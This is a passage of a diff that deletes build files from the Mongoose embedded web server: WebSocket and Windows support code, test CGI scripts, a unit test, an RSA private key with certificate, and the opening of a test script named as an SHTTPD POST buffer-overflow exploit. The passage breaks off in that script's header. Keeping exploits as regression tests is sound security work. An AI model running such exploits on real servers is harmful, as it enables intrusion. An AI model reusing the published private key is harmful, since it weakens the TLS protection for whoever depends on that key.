finalcount[i] = (unsigned char)((context->count[(i >= 4 ? 0 : 1)]
>> ((3-(i & 3)) * 8) ) & 255);
}
c = 0200;
SHA1Update(context, &c, 1);
while ((context->count[0] & 504) != 448) {
c = 0000;
SHA1Update(context, &c, 1);
}
SHA1Update(context, finalcount, 8);
for (i = 0; i < 20; i++) {
digest[i] = (unsigned char)
((context->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
memset(context, '\0', sizeof(*context));
memset(&finalcount, '\0', sizeof(finalcount));
}
// END OF SHA1 CODE
static void base64_encode(const unsigned char *src, int src_len, char *dst) {
static const char *b64 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int i, j, a, b, c;
for (i = j = 0; i < src_len; i += 3) {
a = src[i];
b = i + 1 >= src_len ? 0 : src[i + 1];
c = i + 2 >= src_len ? 0 : src[i + 2];
dst[j++] = b64[a >> 2];
dst[j++] = b64[((a & 3) << 4) | (b >> 4)];
if (i + 1 < src_len) {
dst[j++] = b64[(b & 15) << 2 | (c >> 6)];
}
if (i + 2 < src_len) {
dst[j++] = b64[c & 63];
}
}
while (j % 4 != 0) {
dst[j++] = '=';
}
dst[j++] = '\0';
}
void mg_websocket_handshake(struct mg_connection *conn) {
static const char *magic = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11";
char buf[100], sha[20], b64_sha[sizeof(sha) * 2];
SHA1_CTX sha_ctx;
mg_snprintf(buf, sizeof(buf), "%s%s",
mg_get_header(conn, "Sec-WebSocket-Key"), magic);
SHA1Init(&sha_ctx);
SHA1Update(&sha_ctx, (unsigned char *) buf, strlen(buf));
SHA1Final((unsigned char *) sha, &sha_ctx);
base64_encode((unsigned char *) sha, sizeof(sha), b64_sha);
mg_printf(conn, "%s%s%s",
"HTTP/1.1 101 Switching Protocols\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
"Sec-WebSocket-Accept: ", b64_sha, "\r\n\r\n");
}
int mg_websocket_read(struct mg_connection *conn, int *bits, char **data) {
// Pointer to the beginning of the portion of the incoming websocket message
// queue. The original websocket upgrade request is never removed,
// so the queue begins after it.
unsigned char *buf = (unsigned char *) conn->buf + conn->request_len;
int n, stop = 0;
size_t i, len, mask_len, data_len, header_len, body_len;
char mask[4];
assert(conn->content_len == 0);
// Loop continuously, reading messages from the socket, invoking the callback,
// and waiting repeatedly until an error occurs.
while (!stop) {
header_len = 0;
// body_len is the length of the entire queue in bytes
// len is the length of the current message
// data_len is the length of the current message's data payload
// header_len is the length of the current message's header
if ((body_len = conn->data_len - conn->request_len) >= 2) {
len = buf[1] & 127;
mask_len = buf[1] & 128 ? 4 : 0;
if (len < 126 && body_len >= mask_len) {
data_len = len;
header_len = 2 + mask_len;
} else if (len == 126 && body_len >= 4 + mask_len) {
header_len = 4 + mask_len;
data_len = ((((int) buf[2]) << 8) + buf[3]);
} else if (body_len >= 10 + mask_len) {
header_len = 10 + mask_len;
data_len = (((uint64_t) htonl(* (uint32_t *) &buf[2])) << 32) +
htonl(* (uint32_t *) &buf[6]);
}
}
// Data layout is as follows:
// conn->buf buf
// v v frame1 | frame2
// |---------------------|----------------|--------------|-------
// | |<--header_len-->|<--data_len-->|
// |<-conn->request_len->|<-----body_len----------->|
// |<-------------------conn->data_len------------->|
if (header_len > 0) {
// Allocate space to hold websocket payload
if ((*data = malloc(data_len)) == NULL) {
// Allocation failed, exit the loop and then close the connection
// TODO: notify user about the failure
data_len = 0;
break;
}
// Save mask and bits, otherwise it may be clobbered by memmove below
*bits = buf[0];
memcpy(mask, buf + header_len - mask_len, mask_len);
// Read frame payload into the allocated buffer.
assert(body_len >= header_len);
if (data_len + header_len > body_len) {
len = body_len - header_len;
memcpy(*data, buf + header_len, len);
// TODO: handle pull error
pull_all(NULL, conn, *data + len, data_len - len);
conn->data_len = conn->request_len;
} else {
len = data_len + header_len;
memcpy(*data, buf + header_len, data_len);
memmove(buf, buf + len, body_len - len);
conn->data_len -= len;
}
// Apply mask if necessary
if (mask_len > 0) {
for (i = 0; i < data_len; i++) {
(*data)[i] ^= mask[i % 4];
}
}
return data_len;
} else {
// Buffering websocket request
if ((n = pull(NULL, conn, conn->buf + conn->data_len,
conn->buf_size - conn->data_len)) <= 0) {
break;
}
conn->data_len += n;
}
}
return 0;
}
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len) {
unsigned char *copy;
size_t copy_len = 0;
int retval = -1;
if ((copy = (unsigned char *) malloc(data_len + 10)) == NULL) {
return -1;
}
copy[0] = 0x80 + (opcode & 0x0f);
// Frame format: http://tools.ietf.org/html/rfc6455#section-5.2
if (data_len < 126) {
// Inline 7-bit length field
copy[1] = data_len;
memcpy(copy + 2, data, data_len);
copy_len = 2 + data_len;
} else if (data_len <= 0xFFFF) {
// 16-bit length field
copy[1] = 126;
* (uint16_t *) (copy + 2) = htons(data_len);
memcpy(copy + 4, data, data_len);
copy_len = 4 + data_len;
} else {
// 64-bit length field
copy[1] = 127;
* (uint32_t *) (copy + 2) = htonl((uint64_t) data_len >> 32);
* (uint32_t *) (copy + 6) = htonl(data_len & 0xffffffff);
memcpy(copy + 10, data, data_len);
copy_len = 10 + data_len;
}
// Not thread safe
if (copy_len > 0) {
retval = mg_write(conn, copy, copy_len);
}
free(copy);
return retval;
}
#endif // !USE_WEBSOCKET
build/src/win32.c
-373
View File
@@ -1,373 +0,0 @@
#include "internal.h"
#if defined(_WIN32)
static pthread_t pthread_self(void) {
return GetCurrentThreadId();
}
static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
(void) unused;
*mutex = CreateMutex(NULL, FALSE, NULL);
return *mutex == NULL ? -1 : 0;
}
static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
return CloseHandle(*mutex) == 0 ? -1 : 0;
}
static int pthread_mutex_lock(pthread_mutex_t *mutex) {
return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
}
static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
return ReleaseMutex(*mutex) == 0 ? -1 : 0;
}
// For Windows, change all slashes to backslashes in path names.
static void change_slashes_to_backslashes(char *path) {
int i;
for (i = 0; path[i] != '\0'; i++) {
if (path[i] == '/')
path[i] = '\\';
// i > 0 check is to preserve UNC paths, like \\server\file.txt
if (path[i] == '\\' && i > 0)
while (path[i + 1] == '\\' || path[i + 1] == '/')
(void) memmove(path + i + 1,
path + i + 2, strlen(path + i + 1));
}
}
// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
// wbuf and wbuf_len is a target buffer and its length.
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
char buf[PATH_MAX * 2], buf2[PATH_MAX * 2];
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
// Convert to Unicode and back. If doubly-converted string does not
// match the original, something is fishy, reject.
memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
NULL, NULL);
if (strcmp(buf, buf2) != 0) {
wbuf[0] = L'\0';
}
}
#if defined(_WIN32_WCE)
static time_t time(time_t *ptime) {
time_t t;
SYSTEMTIME st;
FILETIME ft;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &ft);
t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
if (ptime != NULL) {
*ptime = t;
}
return t;
}
static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
FILETIME ft, lft;
SYSTEMTIME st;
TIME_ZONE_INFORMATION tzinfo;
if (ptm == NULL) {
return NULL;
}
* (int64_t *) &ft = t;
FileTimeToLocalFileTime(&ft, &lft);
FileTimeToSystemTime(&lft, &st);
ptm->tm_year = st.wYear - 1900;
ptm->tm_mon = st.wMonth - 1;
ptm->tm_wday = st.wDayOfWeek;
ptm->tm_mday = st.wDay;
ptm->tm_hour = st.wHour;
ptm->tm_min = st.wMinute;
ptm->tm_sec = st.wSecond;
ptm->tm_yday = 0; // hope nobody uses this
ptm->tm_isdst =
GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
return ptm;
}
static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
// FIXME(lsm): fix this.
return localtime(ptime, ptm);
}
static size_t strftime(char *dst, size_t dst_size, const char *fmt,
const struct tm *tm) {
(void) snprintf(dst, dst_size, "implement strftime() for WinCE");
return 0;
}
#endif
// Windows happily opens files with some garbage at the end of file name.
// For example, fopen("a.cgi ", "r") on Windows successfully opens
// "a.cgi", despite one would expect an error back.
// This function returns non-0 if path ends with some garbage.
static int path_cannot_disclose_cgi(const char *path) {
static const char *allowed_last_characters = "_-";
int last = path[strlen(path) - 1];
return isalnum(last) || strchr(allowed_last_characters, last) != NULL;
}
static int mg_stat(const char *path, struct file *filep) {
wchar_t wbuf[PATH_MAX] = L"\\\\?\\";
WIN32_FILE_ATTRIBUTE_DATA info;
filep->modification_time = 0;
to_unicode(path, wbuf + 4, ARRAY_SIZE(wbuf) - 4);
if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
filep->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
filep->modification_time = SYS2UNIX_TIME(
info.ftLastWriteTime.dwLowDateTime,
info.ftLastWriteTime.dwHighDateTime);
filep->is_directory = info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// If file name is fishy, reset the file structure and return error.
// Note it is important to reset, not just return the error, cause
// functions like is_file_opened() check the struct.
if (!filep->is_directory && !path_cannot_disclose_cgi(path)) {
memset(filep, 0, sizeof(*filep));
}
}
return filep->modification_time != 0;
}
static int mg_remove(const char *path) {
wchar_t wbuf[PATH_MAX];
to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
return DeleteFileW(wbuf) ? 0 : -1;
}
static int mg_mkdir(const char *path, int mode) {
char buf[PATH_MAX];
wchar_t wbuf[PATH_MAX];
(void) mode;
mg_strlcpy(buf, path, sizeof(buf));
change_slashes_to_backslashes(buf);
(void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, ARRAY_SIZE(wbuf));
return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
}
// Implementation of POSIX opendir/closedir/readdir for Windows.
static DIR * opendir(const char *name) {
DIR *dir = NULL;
wchar_t wpath[PATH_MAX];
DWORD attrs;
if (name == NULL) {
SetLastError(ERROR_BAD_ARGUMENTS);
} else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
} else {
to_unicode(name, wpath, ARRAY_SIZE(wpath));
attrs = GetFileAttributesW(wpath);
if (attrs != 0xFFFFFFFF &&
((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
(void) wcscat(wpath, L"\\*");
dir->handle = FindFirstFileW(wpath, &dir->info);
dir->result.d_name[0] = '\0';
} else {
free(dir);
dir = NULL;
}
}
return dir;
}
static int closedir(DIR *dir) {
int result = 0;
if (dir != NULL) {
if (dir->handle != INVALID_HANDLE_VALUE)
result = FindClose(dir->handle) ? 0 : -1;
free(dir);
} else {
result = -1;
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
static struct dirent *readdir(DIR *dir) {
struct dirent *result = 0;
if (dir) {
if (dir->handle != INVALID_HANDLE_VALUE) {
result = &dir->result;
(void) WideCharToMultiByte(CP_UTF8, 0,
dir->info.cFileName, -1, result->d_name,
sizeof(result->d_name), NULL, NULL);
if (!FindNextFileW(dir->handle, &dir->info)) {
(void) FindClose(dir->handle);
dir->handle = INVALID_HANDLE_VALUE;
}
} else {
SetLastError(ERROR_FILE_NOT_FOUND);
}
} else {
SetLastError(ERROR_BAD_ARGUMENTS);
}
return result;
}
#ifndef HAVE_POLL
static int poll(struct pollfd *pfd, int n, int milliseconds) {
struct timeval tv;
fd_set set;
int i, result;
SOCKET maxfd = 0;
tv.tv_sec = milliseconds / 1000;
tv.tv_usec = (milliseconds % 1000) * 1000;
FD_ZERO(&set);
for (i = 0; i < n; i++) {
FD_SET((SOCKET) pfd[i].fd, &set);
pfd[i].revents = 0;
if (pfd[i].fd > maxfd) {
maxfd = pfd[i].fd;
}
}
if ((result = select(maxfd + 1, &set, NULL, NULL, &tv)) > 0) {
for (i = 0; i < n; i++) {
if (FD_ISSET(pfd[i].fd, &set)) {
pfd[i].revents = POLLIN;
}
}
}
return result;
}
#endif // HAVE_POLL
static void set_close_on_exec(SOCKET sock) {
(void) SetHandleInformation((HANDLE) sock, HANDLE_FLAG_INHERIT, 0);
}
int mg_start_thread(mg_thread_func_t f, void *p) {
return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
}
static HANDLE dlopen(const char *dll_name, int flags) {
wchar_t wbuf[PATH_MAX];
(void) flags;
to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
return LoadLibraryW(wbuf);
}
#if !defined(NO_CGI)
#define SIGKILL 0
static int kill(pid_t pid, int sig_num) {
(void) TerminateProcess(pid, sig_num);
(void) CloseHandle(pid);
return 0;
}
static void trim_trailing_whitespaces(char *s) {
char *e = s + strlen(s) - 1;
while (e > s && isspace(* (unsigned char *) e)) {
*e-- = '\0';
}
}
static pid_t spawn_process(struct mg_connection *conn, const char *prog,
char *envblk, char *envp[], int fdin,
int fdout, const char *dir) {
HANDLE me;
char *interp, full_interp[PATH_MAX], full_dir[PATH_MAX],
cmdline[PATH_MAX], buf[PATH_MAX];
FILE *fp;
STARTUPINFOA si;
PROCESS_INFORMATION pi = { 0 };
(void) envp;
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
// TODO(lsm): redirect CGI errors to the error log file
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
me = GetCurrentProcess();
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdin), me,
&si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
DuplicateHandle(me, (HANDLE) _get_osfhandle(fdout), me,
&si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
// If CGI file is a script, try to read the interpreter line
interp = conn->ctx->config[CGI_INTERPRETER];
if (interp == NULL) {
buf[0] = buf[1] = '\0';
// Read the first line of the script into the buffer
snprintf(cmdline, sizeof(cmdline), "%s%c%s", dir, '/', prog);
if ((fp = mg_fopen(cmdline, "r")) != NULL) {
fgets(buf, sizeof(buf), fp);
fclose(fp);
buf[sizeof(buf) - 1] = '\0';
}
if (buf[0] == '#' && buf[1] == '!') {
trim_trailing_whitespaces(buf + 2);
} else {
buf[2] = '\0';
}
interp = buf + 2;
}
if (interp[0] != '\0') {
GetFullPathNameA(interp, sizeof(full_interp), full_interp, NULL);
interp = full_interp;
}
GetFullPathNameA(dir, sizeof(full_dir), full_dir, NULL);
mg_snprintf(cmdline, sizeof(cmdline), "%s%s\"%s\\%s\"",
interp, interp[0] == '\0' ? "" : " ", full_dir, prog);
DEBUG_TRACE(("Running [%s]", cmdline));
if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
CREATE_NEW_PROCESS_GROUP, envblk, NULL, &si, &pi) == 0) {
cry(conn, "%s: CreateProcess(%s): %ld",
__func__, cmdline, ERRNO);
pi.hProcess = (pid_t) -1;
}
(void) CloseHandle(si.hStdOutput);
(void) CloseHandle(si.hStdInput);
(void) CloseHandle(pi.hThread);
return (pid_t) pi.hProcess;
}
#endif // !NO_CGI
static int set_non_blocking_mode(SOCKET sock) {
unsigned long on = 1;
return ioctlsocket(sock, FIONBIO, &on);
}
#endif
build/ssl_cert.pem
-50
View File
@@ -1,50 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
SEGI4JSxV56lYg==
-----END CERTIFICATE-----
-----BEGIN DH PARAMETERS-----
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
-----END DH PARAMETERS-----
build/systray.ico
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build/test/.leading.dot.txt
-1
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@@ -1 +0,0 @@
abc123
build/test/all_build_flags.pl
-39
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@@ -1,39 +0,0 @@
#!/usr/bin/env perl
use Data::Dumper;
@flags = split /\s+/,
`egrep -o 'NO_[A-Z0-9_]*|USE_[A-Z0-9_]*' ../mongoose.c | sort | uniq`;
#@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $extra = {
'USE_SSL' => '-lssl',
'USE_LUA' => 'lua_5.2.1.c',
};
#my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
next unless substr($bitmask, $j, 1);
my $def = $flags[$j];
next if $def eq 'USE_LUA_SQLITE3';
push @combination, "-D$def";
push @combination, $extra->{$def} if $extra->{$def};
}
my $defines = join(" ", @combination);
my $cmd = "make clean all CFLAGS_EXTRA=\"-O0 $defines\"";
#print "Testing [$defines]\n";
system($cmd) == 0 or fail "build failed: $_";
#system("perl test/test.pl basic_tests >/dev/null") == 0
# or fail "basic tests";
#print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
build/test/bad.cgi
-5
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@@ -1,5 +0,0 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
build/test/bad2.cgi
-3
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@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Status: 302 Please pass me to the client\r\n\r\n";
build/test/dir with spaces/hello.cgi
-3
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@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";
build/test/dir with spaces/桌面/index.html
-1
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@@ -1 +0,0 @@
куку!
build/test/embed.c
-182
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@@ -1,182 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
build/test/env.cgi
-46
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@@ -1,46 +0,0 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
build/test/exploit.pl
-69
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@@ -1,69 +0,0 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
# ESP 009EFC08 ASCII 41,"AA...AAA"
use IO::Socket;
sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}
sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
